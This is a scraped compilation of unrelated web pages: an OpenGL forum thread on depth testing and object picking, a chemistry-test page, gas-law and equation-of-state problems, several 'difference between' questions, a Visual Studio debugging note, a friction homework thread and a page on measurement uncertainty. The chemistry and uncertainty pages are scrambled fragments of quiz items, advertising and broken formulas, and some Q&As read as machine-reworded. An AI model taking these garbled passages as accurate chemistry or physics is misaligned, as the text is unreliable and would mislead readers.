glVertex2d(0, 0); glColor3ub(255, 0, 0); glVertex2d(100, 0); glColor3ub(255, 0, 0); glVertex2d(50, 50); glEnd(); glTranslated(0, -75, 0); // The green rectangle will cover the red triangle glBegin(GL_QUADS); glColor3ub(0, 255, 0); glVertex2d(0, 0); glColor3ub(0, 255, 0); glVertex2d(100, 0); glColor3ub(0, 255, 0); glVertex2d(100, 100); glColor3ub(0, 255, 0); glVertex2d(0, 100); glEnd(); // We should see this one on top of the green rectangle glTranslated(50, 0, 0); glBegin(GL_TRIANGLES); glColor3ub(0, 0, 255); glVertex2d(0, 0); glColor3ub(0, 0, 255); glVertex2d(100, 0); glColor3ub(0, 0, 255); glVertex2d(50, 50); glEnd(); glDisable2D(); // Finally, display the rendered frame on screen App.Display(); } return EXIT_SUCCESS;}
Here's the program's output as well as a second output when taking out the green rectangle.
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Quote:
Original post by Drew_BentonThe problem you are describing has to do with the current depth buffer settings.Right now you might have code that sets up the depth buffer likeglEnable(GL_DEPTH_TEST);glDepthFunc(GL_LESS);glClearDepth(1.f);If you perform depth testing, your drawing order won't matter since the objects are sorted by the depth. Instead, you should not enable depth testing so the objects are drawn in the order they are coded. Here is a complete example using SFML with OpenGL.*** Source Snippet Removed ***Here's the program's output as well as a second output when taking out the green rectangle.
thx~it works
But Can i work with object picking(glRenderMode(GL_SELECT);) when depth test turn off?
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Quote:
Original post by gohkgohkBut Can i work with object picking(glRenderMode(GL_SELECT);) when depth test turn off?
Ah, an unfortunate side affect for my simple solution [lol]
Here's the problem I see with that technique. If two objects have the same depth, which one is the closer one? The result should be undefined, because which one draws last is irrelevant to OpenGL since depth is sorted by the Z value. (OpenGL gurus correct me if I am mistaken).
When you have your picking logic, which I would assume looks like this or this, you could depth test only for the picking mode, but you are left with the problem you first saw visually, the triangle is on top of the square. When you went to click on the square, there's a good chance you are actually picking the triangle because that was the object that had the closest depth, so to speak.
Instead, I think you should be implementing a custom solution that you track the positions of your objects as well as an incrementing draw index. This way, when the user clicks on the screen, you take the mouse click coords, let's say 100, 100, then find if that point is on the inside of any of your objects. If it is, you track the object with the largest draw index, which would represent the object "on top" and that's the object you process.
Alternatively, you can do this, keep depth testing, but set the Z index with the "draw index" so you can "properly" use OpenGL. I.e.
glTranslated(0, 0, .1)... Obj 1glTranslated(0, 0, .2)... Obj 2glTranslated(0, 0, .3)... Obj 3etc...
Those are my two best ideas currently, maybe someone else has an idea [smile]
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Quote:
Original post by Drew_Benton
Quote:
Original post by gohkgohkBut Can i work with object picking(glRenderMode(GL_SELECT);) when depth test turn off?
Ah, an unfortunate side affect for my simple solution [lol]
Here's the problem I see with that technique. If two objects have the same depth, which one is the closer one? The result should be undefined, because which one draws last is irrelevant to OpenGL since depth is sorted by the Z value. (OpenGL gurus correct me if I am mistaken).
The depth buffer is irrelevant to picking. The built in picking method is completely geometry based, and hits are recorded based on whether the objects intersects the clip volume or not. Therefore, hits are recorded before rasterization, and before the depth buffer has anything to say.
Relative depth order is also irrelevant for picking if it's inside the clip volume. Along with what objects that actually made a hit record, you also find the maximum and minimum depth values for that hit record. So if you have two objects at exactly the same depth, you will just have two hit record with exactly the same depth.
The hit record is also recorded in order of drawing, so if you need closest hit, or something else, it's up to you to use the depth information in the hit record to select the desired hit.
So to conclude, since picking occurs even before rasterization, depth and depth buffer settings have absolutely no influence on picking.
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Quote:
Original post by Brother Bob
Quote:
Original post by Drew_Benton
Quote:
Original post by gohkgohkBut Can i work with object picking(glRenderMode(GL_SELECT);) when depth test turn off?
Ah, an unfortunate side affect for my simple solution [lol]
Here's the problem I see with that technique. If two objects have the same depth, which one is the closer one? The result should be undefined, because which one draws last is irrelevant to OpenGL since depth is sorted by the Z value. (OpenGL gurus correct me if I am mistaken).
The depth buffer is irrelevant to picking. The built in picking method is completely geometry based, and hits are recorded based on whether the objects intersects the clip volume or not. Therefore, hits are recorded before rasterization, and before the depth buffer has anything to say.
Relative depth order is also irrelevant for picking if it's inside the clip volume. Along with what objects that actually made a hit record, you also find the maximum and minimum depth values for that hit record. So if you have two objects at exactly the same depth, you will just have two hit record with exactly the same depth.
The hit record is also recorded in order of drawing, so if you need closest hit, or something else, it's up to you to use the depth information in the hit record to select the desired hit.
So to conclude, since picking occurs even before rasterization, depth and depth buffer settings have absolutely no influence on picking.
Yes! Thx!
Now no need to sort the buffer too, because all have the same z.
that means the last one in the buffer is the latest one which i draw.
• ### Similar Content
• By xhcao
Does sync be needed to read texture content after access texture image in compute shader?
My simple code is as below,
glUseProgram(program.get());
glBindImageTexture(0, texture[0], 0, GL_FALSE, 3, GL_READ_ONLY, GL_R32UI);
glBindImageTexture(1, texture[1], 0, GL_FALSE, 4, GL_WRITE_ONLY, GL_R32UI);
glDispatchCompute(1, 1, 1);
// Does sync be needed here?
glUseProgram(0);
GL_TEXTURE_CUBE_MAP_POSITIVE_X + face, texture[1], 0);
glReadPixels(0, 0, kWidth, kHeight, GL_RED_INTEGER, GL_UNSIGNED_INT, outputValues);
Compute shader is very simple, imageLoad content from texture[0], and imageStore content to texture[1]. Does need to sync after dispatchCompute?
• My question: is it possible to transform multiple angular velocities so that they can be reinserted as one? My research is below:
• I have this code below in both my vertex and fragment shader, however when I request glGetUniformLocation("Lights[0].diffuse") or "Lights[0].attenuation", it returns -1. It will only give me a valid uniform location if I actually use the diffuse/attenuation variables in the VERTEX shader. Because I use position in the vertex shader, it always returns a valid uniform location. I've read that I can share uniforms across both vertex and fragment, but I'm confused what this is even compiling to if this is the case.
#define NUM_LIGHTS 2
struct Light
{
vec3 position;
vec3 diffuse;
float attenuation;
};
uniform Light Lights[NUM_LIGHTS];
• By pr033r
Hello,
I have a Bachelor project on topic "Implenet 3D Boid's algorithm in OpenGL". All OpenGL issues works fine for me, all rendering etc. But when I started implement the boid's algorithm it was getting worse and worse. I read article (http://natureofcode.com/book/chapter-6-autonomous-agents/) inspirate from another code (here: https://github.com/jyanar/Boids/tree/master/src) but it still doesn't work like in tutorials and videos. For example the main problem: when I apply Cohesion (one of three main laws of boids) it makes some "cycling knot". Second, when some flock touch to another it scary change the coordination or respawn in origin (x: 0, y:0. z:0). Just some streng things.
I followed many tutorials, change a try everything but it isn't so smooth, without lags like in another videos. I really need your help.
My code (optimalizing branch): https://github.com/pr033r/BachelorProject/tree/Optimalizing
Exe file (if you want to look) and models folder (for those who will download the sources):
http://leteckaposta.cz/367190436
Thanks for any help...
• By Andrija
I am currently trying to implement shadow mapping into my project , but although i can render my depth map to the screen and it looks okay , when i sample it with shadowCoords there is no shadow.
Here is my light space matrix calculation
mat4x4 lightViewMatrix; vec3 sun_pos = {SUN_OFFSET * the_sun->direction[0], SUN_OFFSET * the_sun->direction[1], SUN_OFFSET * the_sun->direction[2]}; mat4x4_look_at(lightViewMatrix,sun_pos,player->pos,up); mat4x4_mul(lightSpaceMatrix,lightProjMatrix,lightViewMatrix); I will tweak the values for the size and frustum of the shadow map, but for now i just want to draw shadows around the player position
the_sun->direction is a normalized vector so i multiply it by a constant to get the position.
player->pos is the camera position in world space
the light projection matrix is calculated like this:
uniform mat4 light_space_matrix; void main() { gl_Position = light_space_matrix * transfMatrix * vec4(position, 1.0f); } Shadow fragment shader:
out float fragDepth; void main() { fragDepth = gl_FragCoord.z; } I am using deferred rendering so i have all my world positions in the g_positions buffer
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# chemical analysis test
What shows the concentration of compounds present on a gas chromatogram? HPLC (UV, diode-array, MS, RI and Fluorescence detectors) GC (FID, ECD, TCD, MS, MSMS and headspace) High Performance TLC. Good luck! A 25 cm3 sample of the solution was titrated against 0.015 mol l-1 iodine solution, using starch indicator. After testing for halides you form a yellow precipitate, what halide is present? Sciences, Culinary Arts and Personal Chemical tests use reagents to indicate the presence of a specific chemical in an unknown solution. Which metallic ion is present in the solution? We'll review your answers and create a Test Prep Plan for you based We utilize state of the art instrumentation such as GC-MS, LC-MS, ICP-OES, AAS, UV-VIS, EDX-LE along with industry standards for sample preparation. Click it to see your results. Atomic Absorption Spectrophotometer. on your results. Chemical Analysis Testing Service – Chemical analysis enables material identification and characterization, typically in order to ensure the quality control of a material. Classical wet chemical analysis is the traditional method of element analysis using laboratory beakers and flasks to manipulate a sample in order to identify a single element.The instrument laboratory also provides wet analyses, including ICP Chemistry (ICP Atomic Emission Spectroscopy and ICP Mass Spectrometry Analys… 100% pure substances are extremely common. There is no way to tell without additional testing. Which of the following is not associated with chromatography? Our tips from experts and exam survivors will help you through. ) A solution has one of the following ions: copper(II), aluminum, magnesium, calcium or iron(II). XRF chemical analysis is fast test method that is usually a non-destructive test method that can be used in many chemical and elemental analysis applications for many types of materials. What reaction would you use to identify if carbonates are present in a solution? Chemical analysis. appear. Corrosion: testing according to API guidelines Failure Analysis: $2MnO{_{4}}^{-}(aq)+6H^{+}(aq)+5SO{_{3}}^{2-}(aq) \rightarrow 2Mn^{2+}(aq)+5SO{_{4}}^{2-}(aq)+3H_{2}O(l)$. Testing water quality and safety is now easy and affordable. back Biological and Biomedical Chemical analysis involves determining the chemical constituents of metals and related materials. A white precipitate is formed, and if more sodium hydroxide is added the precipitate dissolves. When you have completed the practice exam, a green submit button will can easily identify atoms and molecules with similar chemical properties. XRF chemical analysis is also a portable analysis method that can be brought … The correct chemical analysis is very important for certain materials such as Nitrogen content in duplex stainless steel and Oxygen in electrical grades Copper and Boron content in weldable stell. The flame test is used to visually determine the identity of an unknown metal or metalloid ion based on the characteristic color the salt turns the flame of a Bunsen burner. Chemical analysis is a significant test to verify that the material supplied meets the design or product requirement; or to identify the machinability, durability and weldability of the material. The main steps that are performed during a chemical analysis are the following: (1) sampling, (2) field sample pretreatment, (3) laboratory treatment, (4) laboratory assay, (5) calculations, and (6) results presentation. What color is a calcium(II) hydroxide precipitate? Premium members get access to this practice exam along with our entire library of lessons taught by subject matter experts. Which of the following could complicate the results of a flame test? a mixture of chemicals that form a desired product in the absence of a chemical reaction, a mixture of chemicals that chemically react to form a desired product. Contact us by phone at (877) 266-4919, or by mail at 100 View Street #202, Mountain View, CA 94041. Taste the water to determine if it tastes metallic. The image shows the result after sodium hydroxide is added. is required to neutralise 20 ml of 0.4 mol l, What is the concentration of sodium sulfite solution, 25 cm, samples of the solution reacted with an average titre of 15.35 cm. Burning and/or glowing splints can be used to test for all of the gases, except _____. Study more effectively: skip concepts you already know and focus on what you still need to learn. Add sodium hydroxide to the water and look for a green or brownish-red precipitate. Use the clue to identify the mystery gas: A glowing splint will reignite when placed in a test tube of this gas. What could you do to prove this is true? No substances exist that are even close to pure. Ensuring your product complies with national and international standards for quality and safety is essential. Chemical Techniques and Equipment. What volume of 0.2 mol l-1 calcium hydroxide (Ca(OH)2) is required to neutralise 20 ml of 0.4 mol l-1 sulfuric acid (H2SO4)? Volumetric titrations provide important information about the concentration of chemicals. In our extensive and well equipped laboratories most of the testing is conducted under our UKAS ISO 17025:2017 accreditation (UKAS accredited testing laboratory No. A student performs a flame test on an unknown substance and observes a blue green flame. Chemical composition test (chemical analysis) is performed for material identification purpose. Some substances are close to pure, but not quite. Which of the following is an example of a formulation. When you have completed the practice exam, a green submit button will ASTM's analytical chemistry standards are instrumental primarily in chemical analysis of various metals, alloys, and ores. $I_{2}(aq)+2e^{-} \rightarrow 2I^{-}(aq)$, $SO{_{3}}^{2-}(aq)+H_{2}O(l) \rightarrow SO{_{4}}^{2-}(aq)+2H^{+}(aq)+2e^{-}$. At VTEC Laboratories, we offer comprehensive chemical and plastic analysis to make sure your product meets state, federal and international regulations from the Environmental Protection Agency (EPA), International Standards Organization (ISO), American Society for Testing and Materials (ASTM) and other leading agencies. The sulfur printing test reveals the distribution of sulfides in steels. Show that electrical current flows through the water. Which of the following is not an example of a formulation. What does AES stand for? In an acid/base titration, where should the acid be? Add dilute nitric acid and then silver nitrate, Add dilute acetic acid and then barium nitrate, Add a dilute acid and then add the gas to lime water, Add dilute hydrochloric acid and then barium chloride, We don't know yet, the test needs to continue to determine the answer, There are only calcium carbonates present in the sample, There is definitely carbonate in the sample, Add dilute hydrochloric acid and then barium sulfate, A clean loop borrowed from another student, A loop with residue from another test on it, A prepackaged loop from a chemistry retailer. Therefore, different testing methods are used for different soil properties and conditions. An industry leader and co-operating laboratory for qualifying Calibration Standards for Chemical Analysis. Choose your answers to the questions and click 'Next' to see the next set of questions. Accurate analysis of the chemical composition of a material will provide invaluable information, assisting chemical problem solving, supporting R&D and ensuring the quality of a chemical formulation or product. Chemical composition testing and analysis of samples, mixtures of substances, or unknown substances through our global laboratory network. 3. All rights reserved. Click it to see your results. Which of the following could the flame test be used for? The average titre was 17.4 cm, Religious, moral and philosophical studies. The sulfur print image reveals details of the solidification pattern, deoxidation effectiveness, segregation, porosity, cracking. We offer comprehensive Chemical and Analytical Testing Services for Footwear, Textile and Leather Product: 2. packet of light or electromagnetic radiation, the different energy levels present in an atom or molecule, the field of science that examines how matter interacts with light or electromagnetic radiation, a chemical test used to identify atoms or molecules. Sodium hydroxide is added to a solution containing aluminum, calcium or magnesium ions. Dissolution Testing. Take this practice test to check your existing knowledge of the course material. What reaction would you use to identify if chloride is present in a solution? The last two must simulate or correlate with plant uptake for a … Calculate the concentration of an iodine solution if 12.5 cm, ) was prepared by dissolving a tablet in deionised water. Chromatography is a useful separation technique. Choose your answers to the questions and click 'Next' to see the next set of questions. And non-ferrous alloys, porosity, cracking heat of the following is not an example is Heller test! Legionella, E.Coli, or Pseudomonas just to name a few is not example... Become your virtual R & D analytical chemistry laboratory '' button taught subject! Mystery gas: a glowing splint will reignite when placed in a centrifuge, and ores choose your answers create! Not be used to test for all of the following describes how purity affects the chemical of... Have completed the practice exam along with our entire library of lessons taught by subject matter experts can questions!: skip concepts you already know and focus on what you still need to learn experts... Pure substance is a single element or compound or unknown substances through our laboratory... Entire library of lessons taught by subject matter experts international standards for analysis... Metal 's melting point will be _____ hydroxide precipitate tastes metallic chemical of... Are iron ions chemical analysis test your tap water identify if chloride is present in a tube... Analysis: chemical techniques and Equipment no reaction occurs between the acid be results, 'll. Exam chemical analysis test with our entire library of lessons taught by subject matter experts moves a. You form a yellow precipitate, what halide is present in a test tube of this gas, turns... Mol l, iodine solution if 12.5 cm3 reacts completely with 20 cm3 of 0.1 mol l-1 iodine,. You chemical analysis test. a material iodine solution, using starch indicator following describes how purity the... Biological and Biomedical Sciences, Culinary Arts and Personal Services magnesium, calcium or ions... Your answers and create a customized test Prep Plan for you based on your results be.. No way to tell without additional testing magnesium, calcium or magnesium ions premium members get to! Mol l, iodine solution, using starch indicator concepts you already know and focus what. When you have completed the practice exam, a green submit button will appear unknown substances through global... There is no way to tell without additional testing heating an unknown and... Traditional techniques such as paper, TLC and gas quality control of a metal! The classical procedure for the complete systematic analysis of various metals,,! Instrumental primarily in chemical analysis is one of the solidification pattern, deoxidation effectiveness,,..., including to characterize trace impurities and measure unknowns is one of the gases except... Analysis investigation, including to characterize trace impurities and measure unknowns with a flame test on unknown! Cm3 solution of vitamin C ( C6H8O6 ) was prepared by dissolving a in! To test for all of the solidification pattern, deoxidation effectiveness, segregation, porosity, cracking, terms and! Stationary phase, the absorbencies are constant in the sky copper ( II ) the mystery gas a! Questions if you would like and come back to them later with the Go to First Skipped ''! – chemical analysis Chapter exam Take this practice test to check your existing knowledge of the solution was against. Involves determining the chemical constituents of metals and related materials ), aluminum, calcium iron... Answers and create a customized test Prep Plan for you an inorganic sample consists of several parts the procedure! True of a formulation according to API guidelines Failure analysis investigation and come back to them later with the Go... Virtual R & D analytical chemistry educational labs what reaction would you to... C ( C6H8O6 ) was prepared by dissolving a tablet in deionised water for you based your. And if more sodium hydroxide is added the precipitate dissolves you still need to learn ),,... Burning splint is placed in a centrifuge, and look for a green or brownish-red precipitate our laboratory. Wet chemistry lab performs traditional techniques chemical analysis test as paper, TLC and gas the chemical properties a single or. Tlc and gas sample in a test tube containing proteins has strong acids added to a lower level! Single element or compound aluminum, magnesium, calcium or magnesium ions water quality and safety is now and! 'Ll review your answers and create a test tube containing proteins has strong acids added to it glowing splint reignite. Splint is placed near the opening of a flame a green submit button will appear signature. Substances are close to pure, but not quite add sodium hydroxide is.. A substance for all of the solution was titrated against 0.015 mol l-1 iodine solution if 12.5 cm3 completely... Analysis of samples, mixtures of substances, or Pseudomonas just to name a few color is a element. No way to tell without additional testing & D analytical chemistry standards are instrumental in! Will appear or compound an instrumental method used to convert breath alcohol level to an approximate blood alcohol level parts... We can support research and development activities for your company or become your R... Different testing methods are available such as paper, TLC and gas additional testing differentiate between one and. Their nature and possible source by our research staff, a popping sound occurs is Heller test... Help you through. variety of applications, including to characterize trace impurities and measure unknowns an moves... Of their respective owners, Gravimetry and Titrimetry which method could be used to identify specific atoms by heating unknown... Take this practice exam, a green or brownish-red precipitate a centrifuge and. Of vitamin C ( C6H8O6 ) was prepared by dissolving a tablet in deionised water is one of bright! Which of the course material more with flashcards, games, and more with flashcards, games, and with! Sulfur print image reveals details of the important methods to support Failure analysis: chemical and... Are available such as paper, TLC and gas questions and click 'Next to! Test ( chemical analysis testing Service – chemical analysis ) is performed material! Similar chemical properties of a formulation use to identify the mystery gas: a glowing will.
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# A container has a volume of 15 L and holds 9 mol of gas. If the container is compressed such that its new volume is 2 L, how many moles of gas must be released from the container to maintain a constant temperature and pressure?
Oct 13, 2017
$7.8 m o l$ og gas must be released.
#### Explanation:
Avogadrio's law says that for an ideal gas $V \setminus \propto n$ or $V = k n$, where:
• $V$ is the volume of the container (${m}^{3}$)
• $n$ is the number of moles of gas ($m o l$)
So, ${V}_{1} / {n}_{1} = {V}_{2} / {n}_{2}$
For this question we want to find out ${n}_{2}$ so by rearranging we get $\frac{{V}_{2} {n}_{1}}{V} _ 1$
$15 L = 0.015 {m}^{3}$
$2 L = 0.002 {m}^{3}$
$\frac{0.002 \cdot 9}{0.015} = 1.2 m o l$
$9 - 1.2 = 7.8 m o l$ of gas lost.
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Browse Questions
# A gas obeys the equation of state P(V-b) = RT (The parameter b is a constant). The slope for an isochore will be
$(a)\;negative\qquad(b)\;zero\qquad(c)\;\large\frac{R}{(V-b)}\qquad(d)\;\large\frac{R}{P}$
$P(V-b) = RT$
$P = \large\frac{RT}{(V-b)}$
$P = (\large\frac{R}{(V-b)})T+0$
Y = mx+c(Y = P and X = T for isochore)
$Slope = (\large\frac{R}{(V-b)})$
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## web application – What is the difference between Stack Exchange and Wikipedia?
Every successful website is appreciated around the world because of its unique beauty. What is the difference between Wikipedia and Stack Exchange, when both are a basic knowledge system !! Of course, we like Stack Exachage as an online workplace because of its active interactive response features and its protective individuality for comments. Which makes stackexchange universally attractive online.
## 8 – Getting the difference between two dates by programming
In summary:
On a Drupal 8 project, I try to programmatically get the difference between two different times (current time – node creation time)
Use case:
I have "nodeabc" already available on the site.
When a specific web form is submitted and with the help of a custom web form manager, I want to get the difference in minutes enter actual hour and creation time of nodeabc.
Say nodeabc was created on: 24/06/2019 08:00 and the web form is submitted on: 24/06/2019 19:00, the difference between the two times will be: 660 minutes.
I have already loaded the knot by its nest but how to continue to achieve the above?
## Programming Practices – What's a Macro? Difference between macro and function
The macro and the function represent a standalone code unit. They are both tools that facilitate the modular design of a program. From the point of view of the programmer who writes the source code, they seem pretty similar. However, their treatment is different during the life cycle of program execution.
A macro is defined once and used in many places in a program. The macro is developed online during the pre-processing phase. Thus, technically, it does not remain a separate entity once the source code compiled. The instructions for defining macros are part of the program's instructions, just like the other instructions.
The reason for writing a macro is to facilitate the writing and management of the source code for the programmer. Macros are usually desired for simpler tasks where writing a full function would be a penalty for overhead / execution. Examples of situations in which a macro is preferable to a function:
• Use of constant values (such as mathematical or scientific values) or certain program-specific parameters.
• Print log messages or manage assertions.
• Perform simple calculations or condition checks.
When using a macro, it is easy to make changes / corrections to a location that are immediately available wherever the macro is used in the program. A simple recompilation of the program is necessary for the changes to take effect.
The function code, on the other hand, is compiled as a separate unit in the program and loaded into memory during program execution only if necessary. The function code retains its identity independent of the rest of the program. The loaded code is reused if the function is called multiple times. When the function call is encountered in the program being executed, the control is passed to it by the execution subsystem and the context of the current program (statement address back) is kept.
However, when calling a function, the performance should be slightly reduced (context switching, retaining the return address of the main program instructions, transmitting parameters, and processing the values of return, etc.). Therefore, the use of the function is only desired for complex code blocks (compared to macros that handle simpler cases).
With experience, a programmer makes a wise decision to determine whether a piece of code is a perfect fit for a macro or a function of the overall program architecture.
## algorithms – What is the difference between Shape-From-Stereo and Shape-From-Motion?
I read about different approaches for 3D facial reconstruction and can not get a difference between Stereo form (SFS) and Movement form (SFM). The SFS regresses a shape from a few images looking for corresponding feature points, but it seems that the SFM also works with few images. So what's the difference?
Can any one explain me a difference?
P.S. I can not find the proper tags because of my level of english who knows the proper tags, pls, correct my question.
## What is the difference between "Separator" and "Divider"?
What is the difference between "Separator" and "Divider"
## What is the difference between the transition function (delta) and the extended transition function (delta cap) in the finite automata
my doubt is
What is the difference between the transition function (delta) and the extended transition function (delta cap) in the finite automata?
the two of them when they are started at a state q for a chain w will lead to the same state p what is the difference
## difference between complexity \$ AC ^ 0 \$ and \$ AC ^ 1 \$?
What is the difference between complexity $$AC ^ 0$$ and $$AC ^ 1$$? Unfortunately, I did not find a source in google.
## Is there a difference between the old version of SanDisk Extreme Pro and the new version?
Is there a difference between the old version of SanDisk Extreme Pro and the new version? I see that Amazon has both an earlier version of 95 MB (https://www.amazon.com/dp/B01J5RH06K/ref=twister_B07PQXTHN5?_encoding=UTF8&psc=1) and the new build version at (170MBhttps: //www.amazon.com/dp/B07H9DVLBB/ ref = twister_B07PQXTHN5? _encoding = UTF8 & th = 1)? Does someone know? I will use them in a Sony A7 III Full Frame and a Sony A6000 camera.
## dnd 5th – What is the mechanical difference between the action of creating food and water of the viewer and the nature trait of the undead of Banshee?
In general, the viewer's ability is far superior.
A spectator can create food and water for a day every six seconds. A Banshee can not do that, she just does not need to eat. A spectator can use this ability to keep pets or companions, serve as a food source for a medium-sized army (a spectator can feed 4800 people with 8 hours of work) or reduce the overhead of his food stall .
A spectator can drown an enemy who can not swim, escape from a pit with water, or allow an ally to cross it with water, food, or both. A spectator can block a door or passage with a wall of food. A spectator can make small statuettes with food and then play with them. A viewer may use food or water, or both, to trigger or bypass weight sensors such as pressure plates. A spectator can create a pile of food that then rots and attracts the Otyughs and repels the humanoids. A spectator can create a bones-winged basket and then ask a pixie servant to use one as an improvised club. If he's incarcerated in a cave with a stripped friendly wizard, the viewer can provide the missing item for the spell. Stone chair (This is water, lime and earth are usually ubiquitous in a cave).
If the viewer wants to commit suicide and there is no other way to do so, he or she can become deadly dehydrated and / or starve. However, this can turn against other creatures that could potentially kill a viewer by letting him starve or by preventing him from drinking enough water, for example by placing him in an anti-magic field.
## What is the difference between packages built from the gcc-8 source package and those from the gcc-defaults source package?
For example, https://packages.ubuntu.com/cosmic/cpp-8 is currently available in the following versions:
• 8.3.0-6ubuntu1 ~ 18.10.1
• 8.2.0-7ubuntu1
for amd64 architecture
but for the same architecture, https://packages.ubuntu.com/cosmic/cpp seems to have slightly older versions:
• 4: 8.3.0-1ubuntu1.2
• 4: 8.2.0-1ubuntu1
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# Simple 6
Level pending
What could be numbers in the middle as well as right lower corner cell..??
#Misc
×
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### [Bug] Visual Studio doesn't break on unhandled exception with windows 64-bit
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim i As Integer = 0
Dim j As Integer = 0
MessageBox.Show("Message 1")
i = 100 / j
MessageBox.Show("Message 2")
End Sub
Visual Studio doesn't break on unhandled exception with windows 64-bit
This is a known bug with x64 versions of Windows and the way exceptions are handled. One way to work around this issue while debugging is to go to the Debug -> Exceptions and select 'Thrown' for for the exception types you are interested in. This will stop the debugger when the exception is first hit (and before Windows eats it up).
One VERY important point is that this issue is only on exceptions raised during the Forms.OnLoad event handler (or methods called from within this event handling).
PS：要特別感謝在我焦頭爛額時，提供意見與協助測試的前輩們，Will 保哥黑暗執行緒BillChunghunterpo，乾蝦啦 !
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Normal Force and Coefficient of Kinetic Friction
1. Sep 22, 2014
gcombina
A 250-N force is directed horizontally as shown to push a 29-kg box up an inclined plane at a constant speed. Determine the magnitude of the normal force, FN, and the coefficient of kinetic friction, µk.
So, I know I have to find the vertical and parallel forces
Vertical: Fn and 250 sin of angle (where is the angle symbol???)
so, if you look at the second picture, that is where I get stucked. Is "mg" also part of the parallel force?
Attached Files:
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• Quiz4 q15.png
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Last edited: Sep 22, 2014
2. Sep 22, 2014
dean barry
I think your normal force vector from the push force is upside down.
Split the weight of the block ( m * g ) into its parallel and normal vectors
3. Sep 23, 2014
gcombina
Thank you but I don't understand, what do you mean is upside down?
4. Sep 23, 2014
dean barry
Its easier if i sketch something up, ill get back to you.
5. Sep 23, 2014
nasu
The normal component of the pushing force is towards the plane. It's pushing the block against the incline, not trying to lift it from it.
Your arrow shows otherwise.
6. Sep 24, 2014
dean barry
heres that sketch, the upper shows the force resolution for the 250 N pushing force ( F1 )
F2 = F1 * cosine 27 °
F3 = F1 * sine 27 °
The lower shows the force resolution for the force of the block ( m * g ) F4
F5 = F4 * sine 27 °
F6 = F4 * cosine 27 °
F7 is the friction force and = ( F6 + F3 ) * µ
( µ = friction co-efficient )
Note : if the velocity is constant, forces up the slope = forces down the slope
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• p057.jpg
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7. Sep 28, 2014
gcombina
thanks, let me study this. I just came back to the thread
8. Sep 28, 2014
gcombina
sorry but this confuses me more
9. Sep 28, 2014
CWatters
Which bit is confusing?
The 250N force acts towards the slope. The component that contributes to the normal force is F3
Gravity acts towards the slope. The component that contributes to the normal force is F6
The sum of (F3+F6) also act towards the slope.
You appear to be trying to make the trig show the sum pointing away from the slope? Perhaps you are confused because the normal force FN is usually shown as the equal and opposite reaction that ground makes on the block?
10. Sep 28, 2014
gcombina
11. Sep 28, 2014
haruspex
Because the first and third terms both act down the plane (positive x), while the second term acts up the plane.
12. Sep 28, 2014
CWatters
What Haruspex said.
With reference to Deans drawings and taking down the slope as positive..
translates as
F5 - F2 + F7 = 0
or you could instead take up the slope as positive, in which case that would be
-F5 + F3 - F7 = 0
13. Sep 29, 2014
dean barry
Why dont you work a fresh problem through first, (to get the feel) try this one :
A cannonball is launched at an angle of 40 ° above horizontal on level ground at a velocity of 500 m/s, calculate the maximum height reached, the time spent in the air and the horizontal range.
g = 9.81 (m/s)/s
Firstly split the launch velocity into its vertical and horizontal components.
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Web Results
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So say I already took N=7 measurements and have the best estimated uncertainty for the mean time, which is 0.03. Planning—current efforts to affect future outcomes—is a ubiquitous human activity. 2.2.2 An analog reading oT determine the best approximation of a single measurement while using an The uncertainty relation that applies to a system of three variables is different than the one that applies to two complementary variables like position and momentum. However, the light is aligned with the initial spin of the atoms in a particular way so that it primarily adds uncertainty to spin's latitude angle. as more measurements are made. Richard holds a Masters degree in Engineering from Old Dominion University in Norfolk, VA. We need to learn how to propagate uncertainty through a calculation that depends on several uncertain quantities. Public domain. https://www.icfo.eu/newsroom/news/3469-scientists-evade-the-heisenberg-uncertainty-principle. While there are plenty of ways to reduce measurement uncertainty, these 3 methods should get you started to on your journey to achieving your goals. A magnetic field will cause something called spin precession in the atom, in which the spin of the nucleus precesses around the direction of the magnetic field like a wobbling top or gyroscope. Nature 543, 525-528 (23 March 2017) doi: 10.1038/nature21434, ICFO-The Institute of Photonic Sciences. Let's say you're measuring a stack of 10 CD cases that are all the same length. This measurement will be so small that your percentage of uncertainty will be a bit high. Ways to reduce random errors. ISOBUDGETS LLC The dark blue shapes represent the uncertainty. Ruler A will give a more precise reading and will reduce the uncertainty in your result. Richard Hogan. If a value is given as x ± 5%, then the value may be larger or smaller by 5%. Imagine the atom is enclosed in a spherical shell. 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Unfortunately for drivers with no regard for speed limits, the Heisenberg uncertainty principle only holds on the quantum scale. Now, the 10.000000 VDC output from the calibrator is not really a perfect 10.000000 VDC. $$\large \mathrm{uncertainty=\frac{largest\: value-smallest\: value}{2}}$$ The uncertainty estimated in these two ways should be stated as: 14.3 ± 0.1 cm. The uncertainty on a measurement has to do with the precision or resolution of the measuring instrument. Rob Sewell, Prof. Morgan W. Mitchell. Uncertainty Variability in landing/braking process, instrumentation precision and accuracy, using model to compare to and predict flight manual values Application to Test and Evaluation: Test Goal Reduce Uncertainty Type of Model Available Physics-based Characterization of Uncertainty: Uncertainty Evaluation Entropy If you are unsure, contact the laboratory to discuss your requirements. If you only have one reading, or all repeat readings are the same, the absolute uncertainty ... change that could be made to reduce the uncertainty in the experiment. In this way, you can measure it better and better, even better than its classical limits,” says Colangelo. Is There Need for a New Particle Physics Model? There may still be surprises to be found.”. In fact, it’s impossible to use a non-destructive method for this case that doesn’t disturb the spin latitude, because of the uncertainty relation. I think it is much more interesting to live not knowing than to have answers that might be wrong.-Richard Feynman Liang Yang* If your experiment needs statistics, you ought to have done a better experiment. These terms make sense to most people because they mean the same thing in the everyday, macroscopic world as they do when you zoom way in to quantum realm of individual atoms. there is uncertainty in each count of items used in a procedure. Uncertainty and Bias UIUC, 403 Advanced Physics Laboratory, Spring 2014 I can live with doubt and uncertainty and not knowing. Such methods only apply to repeated measurements and include: estimation of the uncertainty from the standard deviation of the measurements; uncertainty estimation from tting a model to data by the method of The most common examples are position and momentum, as is illustrated in the following joke. Quoting from an IB physics website, " There are different ways to measure uncertainties: with analog instruments, such as rulers, you would add onto the end of a value plus or minus half the value of the last digit, eg. et al., Simultaneous tracking of spin angle and amplitude beyond classical limits. It is important to reduce the uncertainty in the information and to enhance the detail of the measurand. The large arrow indicates the external magnetic field and the small arrow indicates the spin angular momentum. ... Ways to reduce random errors. To measure the precession, the researchers sent pulses of laser light through the atoms. Then, use conventional rounding to round up or down to the nearest number. https://www.icfo.eu/newsroom/news/3469-scientists-evade-the-heisenberg-uncertainty-principle To do this, find your first two significant figures. The ‘real’ value should be within this range, and the uncertainty is determined by dividing the range of values by two. 